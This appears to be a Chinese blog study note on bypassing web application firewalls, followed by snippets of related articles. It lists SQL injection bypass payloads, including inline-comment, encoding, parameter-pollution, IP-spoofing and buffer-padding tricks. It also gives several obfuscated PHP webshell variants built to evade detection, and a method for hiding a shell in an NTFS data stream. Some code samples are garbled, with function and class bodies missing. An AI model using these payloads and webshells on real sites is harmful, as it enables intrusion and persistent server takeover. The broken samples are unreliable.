學習記錄-waf繞過
注:文章僅用於學術交流,不用於其它用途
一、waf基礎知識
概念:web應用防護系統,執行一系列針對http/https的安全策略為web應用提供保護
分類:waf有硬體型別的也有軟體型別的,我們一般滲透測試都會遇到軟waf,因為硬體waf**有點昂貴,正常企業不會購買,基本上是大型國企才會買,常見的軟waf:安全狗、雲鎖、懸鏡、護衛神、雲盾
檢測機制:其實很簡單,核心就是正則匹配,雖然說還有字串強行匹配,還有什麼語**析,但是實際上還是正則居多,安全和客戶體驗都是需要平衡的,特別是對於waf而言,網頁動不動就攔截,比如我是使用者,然後因為我使用者名叫and然後我就被拉黑了,因為我不小心輸了個』頁面就出問題,這個當然不可以,所以waf一般都是通用的,並不是單獨定製的,既然是通用的,那麼他在攔截上會比較謹慎,所以waf的正則一般是搭配式的,是一種組合
二、bypass繞過waf
bypass:通過特殊語句的構建達到繞過waf的手法
第一種:針對sql的waf繞過
1)大小寫繞過 (很老的waf才有用)
比如:and 1=1 ------ and 1=1
2)替換繞過 (很老的waf才有用)
比如將關鍵字置空:sselectelect 1,2 ----- select 1,2
3)內聯注釋
內聯注釋是mysql為了保持與其他資料相容,將mysql中特有的語句放在/*!..*/中,這些語句在不相容的資料庫中不執行,而在mysql自身卻能識別執行,/*!50001*/表示資料庫版本》=5.00.01時中間的語句才能被執行
如:union select 1,2,3 被攔截
嘗試: union /*!select*/1,2,3 進行繞過,如果還被攔截
嘗試加入版本: union /*!50001 select*/ 1,2,3 進行繞過,如果還被攔截
嘗試: burp暴力破解,修改50001引數,直接跑
4)特殊字元繞過 (%0a換行或反引號)
%0a:union select 1,2,3 ------ union – +/*%0a select 1,2,3 – +*/
反引號:union select 1,2,3 ----- union `select` 1,2,3
5)編碼繞過
如:get傳參內容用十六進製制編碼
6)等價替換
如:union select -------union all aselect
如:and 1=1----& 1=1 (注意是如果get傳參需要將&編碼才會被當作sql語句執行,不編碼會被認為是傳參)
7)容器特性
apace的hpp:id=1 /*& id=2 union select 1,2,3 --+*/ waf認為/*…*/這個是注釋的意思不會攔截,但是在apace容器下同時出現多個引數就會去解析後面的引數,執行後面的id=2 union select 1,2,3語句,從而繞過waf
iis的%分割:union s%e%l%e%c%t 1,2,3------iis解析為union select 1,2,3
8)白名單
若已獲取管理員許可權直接注入,有些waf不對管理員攔截;在擷取包偽造http_x_forwarded_for修改ip為127.0.0.1本地訪問,或者通過ssrf訪問,有些waf也不攔截
9)緩衝區
資料太多了,超出了waf檢測的範圍,需要將資料報改為post傳參的形式,檢測資料位元組的上限,需要單獨(指令碼等方式)去測,一般情況下安全狗的上限是4000位元組,然後在後面加上我們sql注入語句就可以了(注意不是位元組越多越好,多了會出現其它問題,一般4500-4600位元組都是可以的)
第二種:針對木馬(一句換木馬)的waf繞過
如果我們可以通過某種方法上傳檔案,我們可以寫入木馬上傳,但是存在waf就會對木馬檔案進行攔截,waf多數情況下都是用正則匹配,一般情況下:php裡面<?php eval($_request[1])?>是會被正則匹配攔截,我們通過構造不一樣語句形式構造木馬,這樣的語句形式能繞過正則匹配,從而繞過waf
1)end函式
// end()用法:輸出陣列中最後乙個元素的值
php:<
?php eval
(end
($_request));
?>
2)常量定義
// 定義乙個常量
<
?php define
("a"
,"$_request[1]");
eval
(a);
3)通過字串拼接 + 雙美元符號
// 通過拼接,這裡的assert與eval都是任意**執行
<
?php
$a='ass'
; $b=
'ert'
; $funcname=$a.$b;
$x='funcname'
;$$x
($_request[1]
);
4)通過函式定義強行分割
// 定義乙個函式,返回相同的內容
<
?php
function
a($a)
eval(a
($_request)[1
]);?
>
5)通過類定義,然後傳參強行分割
// __destruct()函式:魔術方法,物件銷毀時自動呼叫函式
<
?php
class
user
}$user =
newuser
;$user-
>name =
''.$_request[1]
;//或者$user->name = '$_request[1]『;
?>
6)多方式傳參免殺
// 巧用cookie傳入傳參
<
?php
$cookie
= $_cookie;
foreach
($cookie
as $key => $value)}?
>
// get_defined_functions()返回所以已定義的函式
<
?php
$a=get_defined_functions()
;$a[
'internal'][
841]
($_request[1]
);
7)終極手法
// mysqli_fetch_assoc()獲取第一行資料,我們可以在自己的資料庫中寫入木馬在第一行寫入eval($_request[1]);
<
?php
eval
(mysqli_fetch_assoc
(mysqli_query
(mysqli_connect
('ip'
,'賬號'
,'密碼'
,'庫'),
'select * from 表'))
['字段'])
;
8)小技巧
// 拿到shell之後藏shell的妙招:ntfs檔案流 (僅適合windows系統)
// 開啟目標cmd,執行echo "<?php eval($_request[1])?>" >> /:123.txt
<
?php include
('/:123.txt')?
>
WAF 繞過方法
通常,即使繞過了waf的防護,前提條件是後端伺服器是否存在對應的漏洞,後端在開發時一定要在 中加入引數的過濾與校驗,不能只指望waf在中間進行防護,減少威脅面,編寫安全的 才是正確的做法。在bash shell中,問號?表示萬用字元,可以替換任意的單個字元 非空 表示萬用字元,可以匹配任意長度 包括...
waf繞過注入
waf 是什麼?安全是乙個不斷對抗的過程,有防護手段,就有相應的繞過手段。滲透測試過程中,waf 是必定會遇到的,如何繞過 waf 就是乙個問題。waf繞過的手段千變萬化,分為3類 白盒繞過 黑盒繞過 fuzz繞過 白盒繞過 如果繞過 白盒下的繞過主要針對原始碼進行審計,分析函式功能,構造特定的包進...
WAF繞過小結
瀏覽器向伺服器傳送請求的時候必須指明請求型別 一般是get或者post 如有必要,瀏覽器還可以選擇傳送其他的請求頭。大多數請求頭並不是必需的,但content length除外。對於post請求來說content length必須出現。大多數waf都會較全面地檢測來自get請求的攻擊,有選擇地檢測來...